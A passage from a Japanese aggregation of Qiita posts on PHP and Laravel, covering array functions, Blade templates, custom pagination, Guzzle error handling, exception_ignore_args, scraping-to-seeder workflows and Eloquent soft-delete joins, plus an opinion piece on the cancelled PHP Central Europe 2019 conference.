            [0] => 2
            [1] => two
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
        )
)
*/
?>

list

・配列と同様の形式で、複数の変数への代入を行う。
・関数でなく言語構造。
・数値添字の配列でのみ動作する。添字は 0 から始まることを想定。

list ( mixed $var1 [, mixed $... ] ) : array
<?php

$info = array('コーヒー', '茶色', 'カフェイン');

// すべての変数の取得
list($drink, $color, $power) = $info;
echo "$drink の色は $color で、$power が含まれています。\n";

// 一部の変数の取得
list($drink, , $power) = $info;
echo "$drink には $power が含まれています。\n";

// 三番目のみの取得
list( , , $power) = $info;
echo "$power 欲しい!\n";

// list() は文字列では動作しません
list($bar) = "abcde";
var_dump($bar); // NULL
?>

使用例:配列を一気に変数に代入

<?php
$conn = pg_pconnect("dbname=hoge");

$result = pg_query($conn, "select name, email from test_tab");

while (list($name, $email) = pg_fetch_row($result)) {
    echo $name . "/" . $email . "\n";
}
?>

implode

・配列要素を文字列により連結する。
・すべての配列要素の順序を変えずに、各要素間に glue 文字列をはさんで 1 つの文字列にして返す。

implode ( string $glue , array $pieces ) : string
<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

// 空の配列を使うと空文字列となります
var_dump(implode('hello', array())); // string(0) ""
?>

使用例:listの作成

<?php
$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

/*
<ul><li>a</li><li>b</li><li>c</li></ul>
*/
?>
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Laravel】テンプレートでビューを楽に作る

はじめに

ビューファイルを作成する時にテンプレートを利用することで簡単に全体の統一感を出すことができます。
では、説明していきます

テンプレートの使い方

まずベースとなるテンプレートの利用方法について説明します。

テンプレートファイルの作成

layoutsフォルダの中にapp.blade.phpのファイルを作成してください。
そして、下記の内容を記述してください。

resources/views/layouts/app.blade.php
<html>
    <head>
        <title>アプリ名 - @yield('title')</title>
    </head>
    <body>
        @section('sidebar')
            ここがメインのサイドバー
        @show

        <div class="container">
            @yield('content')
        </div>
    </body>
</html>

@section
  使用目的はコンテンツの区画を定義することです。
  最後には@showを使用します。
  @section('sidebar')記述でsidebarという区画を定義しています。
@yield
  表示内容を定義するためのものです。値を表示する場所を指定します。
  @yield('title')titleという変数を使う場所を指定しています。

ビューファイルの編集

ビューファイルでのレイアウトの参照方法について説明します。

resources/views/child.blade.php
@extends('layouts.app')

@section('title', 'Page Title')

@section('sidebar')
    @parent

    <p>ここはメインのサイドバーに追加される</p>
@endsection

@section('content')
    <p>ここが本文のコンテンツ</p>
@endsection

@extends

@extends('layouts.app')
  layouts/app.blade.phpを継承します。

@section

@section('title', 'Page Title')
  titlePage Titleを代入する

@section

@section('sidebar')
    @parent
    <p>ここはメインのサイドバーに追加される</p>
@endsection

@section('sidebar')sidebarに代入する値を設定します。
@parentは継承元のapp.blade.phpの内容を表しています。
@endsection@sectionの終わりです。

コンポーネントの使い方

コンポーネントとは部分的に使うテンプレートです。

resources/views/alert.blade.php
<div class="alert alert-danger">
    <div class="alert-title">{{ $title }}</div>
    {{ $slot }}
</div>

$slotには下記の@component内の@slot以外の内容が入ります。

ビューファイルでのコンポーネントの参照方法を説明します。

resources/views/child.blade.php
@component('alert')
    @slot('title')
        Forbidden
    @endslot
    You are not allowed to access this resource!
@endcomponent

@component('alert')alert.blade.phpを参照します。
@slot('title')$titleに変数を代入します。

以上で説明は終わりです。

疑問、気になるところがございましたら、質問、コメントよろしくお願いします!!!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Laravel】カスタムページネーションで、最初と最後のページに遷移するボタンと、今のページと総ページ数を出現させる

Laravelのページネーションで、以下のように

・最初と最後のページに遷移するボタン
・今のページと総ページ数(全体ページ数)

を出現させる(使用できるようにする)方法です。

やりたいこと

上述の通り、以下のキャプチャのようなページネーションを作成する

image.png

ボタンはそれぞれ、

①最初のページへのリンク
②前のページへのリンク
③次のページへのリンク
④最後のページへのリンク

となっています。

環境

  • PHP:バージョン7.3.7
  • Laravel:バージョン5.8
  • OS:Windows10

デフォルトのページネーション

まずはLaravelデフォルトのページネーションから。

image.png


①前のページへのリンク
②次のページへのリンク
②番号のページへのリンク

となっています。

記述も至って簡単で、ページングしたいページのビュークラスに、

{{ $tests->links() }}

と記述するだけ($testsはページング対象のデータの入った変数)。

ちなみに、これは、
\vendor\laravel\framework\src\Illuminate\Pagination\resources\views配下の
default.blade.php
がベースになっています。

image.png

最初と最後のページに遷移するボタンと、今のページと総ページ数を出現させる

1. カスタムページング用のファイルの作成

\resources\views配下に、\vendor\paginationディレクトリ(フォルダ)を作り、その配下にカスタムページング用のファイルを作成します。
今回は、「pagination_view.blade.php」というファイル名にしました。

image.png

2. カスタムページネーション用のファイルの編集

作成したカスタムページネーション用のファイルに以下のように記述します。

①最初のページへのリンク
②前のページへのリンク
③次のページへのリンク
④最後のページへのリンク

の部分については、@akkino_D-En さんの
Laravelでリンク数を可変で決められるペジネーションの自作方法
をそのまま使用させていただきました。

\resources\views\vendor\pagination\pagination_view.blade.php
@if ($paginator->hasPages())
    <ul class="pagination" role="navigation">
        // 最初のページへのリンク
        {{-- First Page View --}} 
            <li class="page-item {{ $paginator->onFirstPage() ? ' disabled' : '' }}">
            <a class="page-link" href="{{ $paginator->url(1) }}">&laquo;</a>
            </li>

        // 前のページへのリンク
        {{-- Previous Page Link --}} 
        <li class="page-item {{ $paginator->onFirstPage() ? ' disabled' : '' }}">
            <a class="page-link" href="{{ $paginator->previousPageUrl() }}">&lsaquo;</a>
        </li>


        {{-- Pagination Elements --}} 
        @foreach ($elements as $element)
            {{-- "Three Dots" Separator --}}
            @if (is_string($element))
                <li class="disabled" aria-disabled="true"><span>{{ $element }}</span></li>
            @endif

            {{-- Array Of Links --}}
            @if (is_array($element))
                @foreach ($element as $page => $url)
                    @if ($page == $paginator->currentPage())
                        // 現在のページ
                        <li class="active" aria-current="page"><span>&nbsp;{{ $page }}</span></li>
                        // 現在のページと最後の総ページの間の「/」
                        &nbsp;/&nbsp;
                        // 総ページ数(=最後のページ)
                        <li class="active" aria-current="page"><span>{{ $paginator->lastPage() }}&nbsp;</span></li>
                    @endif
                @endforeach
            @endif
        @endforeach

        // 次のページへのリンク
        {{-- Next Page Link --}}
        <li class="page-item {{ $paginator->currentPage() == $paginator->lastPage() ? ' disabled' : '' }}">
            <a class="page-link" href="{{ $paginator->nextPageUrl() }}">&rsaquo;</a>
        </li>

        // 最後のページへのリンク
        {{-- Last Page Link --}}
        <li class="page-item {{ $paginator->currentPage() == $paginator->lastPage() ? ' disabled' : '' }}">
        <a class="page-link" href="{{ $paginator->url($paginator->lastPage()) }}">&raquo;</a>
        </li>
    </ul>
@endif

3. カスタムページネーション用のファイルの読み込み

Viewファイルのページネーション使用箇所に以下のように記述します。

{{ $tests->links('vendor/pagination/pagination_view') }}

検索ページなどで、ページング後も検索条件を保持させたい場合は以下のように記述するとよいでしょう。
「appends(request()->query())」の部分で、検索条件を保持してくれます。

{{ $tests->appends(request()->query())->links('vendor/pagination/pagination_view') }}

参考

今回は以下を参考にさせていただきました。ありがとうございました!

①<< < > >>の部分
Laravelでリンク数を可変で決められるペジネーションの自作方法 | Qiita
②総ページの部分
Laravel 5.5 データベース:ペジネーション | ReadDouble
③デフォルトのページネーション、$paginator->currentPage()の部分
Laravelでカスタムページネーションを作成 | Qiita

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Guzzleでリクエスト先から返されたエラーメッセージをtruncateさせずに取得する

Guzzleでリクエスト先からエラーが返された際、そのメッセージがtruncateされてしまい、不都合な場合があります。今回は、このメッセージをtruncateされない状態で取得してみます。

PHP Fatal error:  Uncaught GuzzleHttp\Exception\ServerException: Server error: `POST https://hoge.local/upload` resulted in a `500 Internal Server Error` response:
{"error":{"code":500,"message":"\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3092\u9078\u62 (truncated...)
 in /hoge/vendor/guzzlehttp/guzzle/src/Exception/RequestException.php:113

対応方法

次のコードのように、catch側に $e->getResponse()->getBody()->getContents() を書くことで取得することが可能です。

コード

try {
        $res = $client->request('POST', $url, [
            ・・・
        ]);
} catch (Exception $e) {
        var_dump(json_decode($e->getResponse()->getBody()->getContents()));
}

結果

object(stdClass)#10 (1) {
  ["error"]=>
  object(stdClass)#34 (2) {
    ["code"]=>
    int(500)
    ["message"]=>
    string(67) "アップロードするファイルを選択してください。"
  }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHP の RAII は幻想じゃなくなった

だいぶ前にこんな記事を書いていましたけど、

どうやら PHP 7.4 では zend.exception_ignore_args なるオプションが増えたらしく幻想ではなくなったようです。

PHP 7.3 以前では SplFileObject のインスタンスが bar で発生した例外に掴まれて main まで飛んでいくので foo のスコープを抜けてもファイルは閉じられませんでした。

しかし PHP 7.4 で zend.exception_ignore_args を有効にしておけば例外によって関数の引数が掴まれることがないので、bar で発生した例外に SplFileObject のインスタンスが掴まれることはなく、foo のスコープを抜ければファイルは閉じられます。

以前社内で、例外がログられるときにスタックトレースの引数にセンシティブな情報があるとやばいのでそのたぐいの情報はリクエストから取り出した直後にオブジェクトか何かでラップした方が良いのだろうか、とか話題になったんですけど(このとき)、それもこれで一緒に解決できるということですね(むしろそっちが zend.exception_ignore_args の本来の目的ですね)。

PHP 7.3 以前だと #0 /in/F9nc9(9): f('ore no himitu') のように引数が出力されてしまってますけど、PHP 7.4 で zend.exception_ignore_args が有効なら #0 /in/F9nc9(9): f() のように引数は現れません。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

LaravelでスクレイピングしたデータをSeederに逆生成してみた話

やりたい事

  • 某サイトからスクレイピングしてきたデータをDBに保存。
    ※某サイトからは許可を得ている。
  • ローカルの開発環境でもある程度、テストデータとして、Seederは用意しておきたい。
  • PHPUnitを実行する時にテストデータを作っておきたい。

導入方法

スクリーンショット 2019-12-24 0.19.32.png

1.fabpot/goutteをインストール

$ composer require fabpot/goutte

2.スクレイピングするバッチを作成

<?php

namespace App\Console\Commands;

use App\Entity\Article;
use Goutte\Client;
use Illuminate\Console\Command;
use Illuminate\Support\Facades\Log;

/**
 * Class ScrapingCommand
 * @package App\Console\Commands
 */
class ScrapingCommand extends Command
{

    /**
     * スクレイピング先のURL
     */
    const SCRAPING_URL = 'http://example.com';

    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'command:scraping_command';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Command description';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return mixed
     */
    public function handle()
    {

        //インスタンス生成
        $client = new Client();

        //取得とDOM構築
        $crawler = $client->request('GET', self::SCRAPING_URL);

        //要素の取得
        $tr = $crawler->filter('table tr')->each(function($element){
            echo $element->text()."\n";
        });

        // 以下略

        // 取得したデータをArticleエンティティに設定 ※例なので、ざっくり書いてます。
        $article = new Article();
        // 本当は良い感じに取得したデータをエンティティに詰める
        $article->title = $tr;
        // 以下略

        DB::beginTransaction();
        try {
            $article->save();
            DB::commit();

        } catch (\Exception $exception) {
            Log::error('記事の更新に失敗しました', [
                'exception' => $exception->getMessage(),
                'file' => __FILE__,
                'method' => __FUNCTION__,
                'line' => __LINE__
            ]);
            DB::rollBack();
        }

        Log::notice('スクレイピングバッチの実行が成功しました。');
    }
}

3.orangehill/iseedをインストール

https://github.com/orangehill/iseed

$ composer require --dev "orangehill/iseed"

を実行。

config/app.phpにProviderの設定を追加

'providers' => [

        /*
         * データベースからLaravelのSeederを逆生成する
         */
        Orangehill\Iseed\IseedServiceProvider::class
    ],

4.下記のコマンドを実行すればテーブルの内容に応じたSeederクラスが生成される。

$ php artisan iseed {table_name} 

を実行。

5.Seederクラス生成後のイメージ

<?php

use Illuminate\Database\Seeder;

class ArticlesTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     *
     * @return void
     */
    public function run()
    {
        \DB::table('articles')->delete();

        \DB::table('articles')->insert([
                0 => [
                    'id' => 1,
                    'title' => 'タイトル',
                    'descrition' => '記事の説明文',
                    'category' => 'Tech',
                ],
                1 => [
                    'id' => 2,
                    'title' => 'タイトル',
                    'descrition' => '記事の説明文',
                    'category' => 'Tech',
                ],
                2 => [
                    'id' => 3,
                    'title' => 'タイトル',
                    'descrition' => '記事の説明文',
                    'category' => 'Tech',
                ]
            ]
        );
    }
}

使ってみた感想

  • けっこうコマンドの実行時間も短いし、良かった
  • データ量が多いとファイルサイズが大きくなってしまうので、上手くfor文とかで重複データはコードで簡潔にまとめてもらえたら尚嬉しい!
  • お客さんがマスタデータを提供していない or APIが存在せず、自分でデータを取得しなければいけない案件には向いてそう!

参考記事

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPカンファレンス中央ヨーロッパ2019が中止になっていた

PHPのカンファレンスについて、大きなものはPHP公式に掲載されます。
PHPカンファレンス日本2019ももちろん載っています

なんとなくそのへんを見ていたら、php Central Europe 2019というカンファレンスが紹介されていました。
2019年10月4日~6日と3日間にわたって行われる予定の大きなカンファレンスだったのですが、公式を見てのとおり中止になりました。
原因はというと最近流行りの多様性なんちゃらです。

登壇予定者のうち幾人かが『登壇者に白人男性しかいない』ことを理由に登壇をキャンセルし、結果としてイベント自体のキャンセルにまで繋がったようです。

Larry Garfield

Skipping PHP.CE this year

asking them to drop some of our double-sessions in favor of more female participation.

複数のセッションで発表することになっていた参加者に連絡し、女性が登壇できるように片方のセッションを取りやめるよう依頼しました。

※この人自身も2セッションで登壇予定だったので、部外者による一方的な要求というわけではない。

According to them, they had only a single woman submit a session proposal this year despite having women present in previous years, and hers was a repeat from a local conference last year.
They were also firm that the Call For Papers was done and over and they're not open to reaching out to new people now.

主催によると、女性の申込者は一人だけで、しかも昨年のローカルカンファレンスで発表したものと同じ内容でした。
スケジュールは既に決定しているので、これから変更されることはありません。

I look forward to an improved session process next year that shows real signs of trying to recruit a more diverse set of speakers. In that case I'd be happy to submit sessions again. But this year I must decline.

プロセスが改善され、より多様なスピーカーを募集しようとする兆候が見られるのであれば、来年のセッションにはまた参加したいと思います。
しかし今年は辞退せざるを得ません。

Mark Baker

Withdrawal from Speaking at PHPCE 2019

While I recognise that the balance of developers in our industry is still predominantly male, it’s very unusual that every single one of the 32 speakers for the conference was male.

業界的に男性が多いのは確かだが、登壇予定者32人が全員白人男性というのはさすがに穏やかじゃないですね。

that I cannot accept the situation, and so I have also chosen to withdraw from the conference.

状況を受け入れることができないので、私はカンファから撤退することを選びました。

Karl L Hughes

Twitter

This year's @phpce_eu conference seems to have gone with the "White Males Only" conference lineup ?
Shame. It's 2019, we can do better.

今年は"白人男性のみ"カンファレンスになったようです。
2019年にもなってこれは恥ずべきで、もっとよくできるはずです。

感想

日本のカンファレンスで登壇者が全員日本人男性だったとしても何も起こらないと思うのですが1、海の向こうは面倒なことになっていますね。
そもそも今回は募集の段階で女性が一人しかいなかったということなので、だからマイノリティは優先して登壇させよみたいな思想は却って反発を増加させるのではないかと思います。
登壇者は人種や性別によって選定するのではなく、能力によって選定されるべきでしょう。

もちろんその選定基準にバイアスがあるならばそこは突っ込むべきですが、今回は女性が落とされた理由も開示されていますし、反発者もそのあたりには言及していないようです。
この人なんか、女性を登壇させろと逆に圧力をかけている有様ですからね。

もっとも、だったら現状のままでいいかといえばもちろんそんなわけはありません。
カンファの登壇人数はともかく、性的格差を減らす努力自体は行っていかなければならないでしょう。
女性登壇枠を作ったりするのではなく、女性の募集を増やすような施策を考えるべきでしょう。
というか、この業界自体に女性が異常に少ないですからね。
たとえばバックエンドより女性割合の多そうなフロントエンドですら、State of JSによると男性91.3%、女性6%です。
この割合に従うと32人のうち女性は2人登壇するくらいが適切ということになり、0人はたしかに少ないですが、しかし十分にあり得る確率です。
なにせデレフェス中に30連してSSRが2枚も出るかって話ですよ2

はい、私が今日ぼっちなのも、そんな男女比がSSRレベルの歪な業界にいるせいなんですよ。
比率が適正であれば今頃私も彼女とラブラブだしモテモテでウハウハなんだぞ決して私の能力のせいではないんだぞわかってんだろうなそこ。


  1. 実際は、PHPカンファ日本2019では女性も外国人も登壇している。 

  2. デレフェス中のSSR出現率は6%。30連で1枚も出ないなんてことはよくある。 

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

EloquentのJOINで結合テーブルに論理削除を効かせる

EloquentでModelに論理削除(SoftDeletes)を設定しておくと、デフォルトでdeleted_at is nullをWHERE条件に入れてSQLを発行してくれます。

しかし、テーブル結合(JOIN)をした場合、結合したテーブルに対して論理削除の抽出条件が効きません。

$users = User::join('deptments', 'users.deptment_id', '=', 'deptments.id')->get();
select
  * 
from
  `users` 
  inner join `deptments` 
    on `users`.`deptment_id` = `deptments`.`id` 
where
  `users`.`deleted_at` is null

それならとwhereを設定してみるも、これだとLEFT JOINの場合に結合しなかったusersテーブルのレコードが抽出されなくなってしまいます。

$users = User::join('deptments', 'users.deptment_id', '=', 'deptments.id')
             ->where('deptments.deleted_at', null)->get();
select
  * 
from
  `users` 
  inner join `deptments` 
    on `users`.`deptment_id` = `deptments`.`id` 
where
  `deptments`.`deleted_at` is null 
  and `users`.`deleted_at` is null

第二引数にクロージャを渡すとJOIN句の中で複数の抽出条件を使えるようになります。

$users = User::join('deptments', function ($join) {
            $join->on('users.deptment_id', '=', 'deptments.id')
                 ->where('deptments.deleted_at', null);
         })->get();
select
  * 
from
  `users` 
  inner join `deptments` 
    on `users`.`deptment_id` = `deptments`.`id` 
    and `deptments`.`deleted_at` is null 
where
  `users`.`deleted_at` is null

意図したSQLを発行することができました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む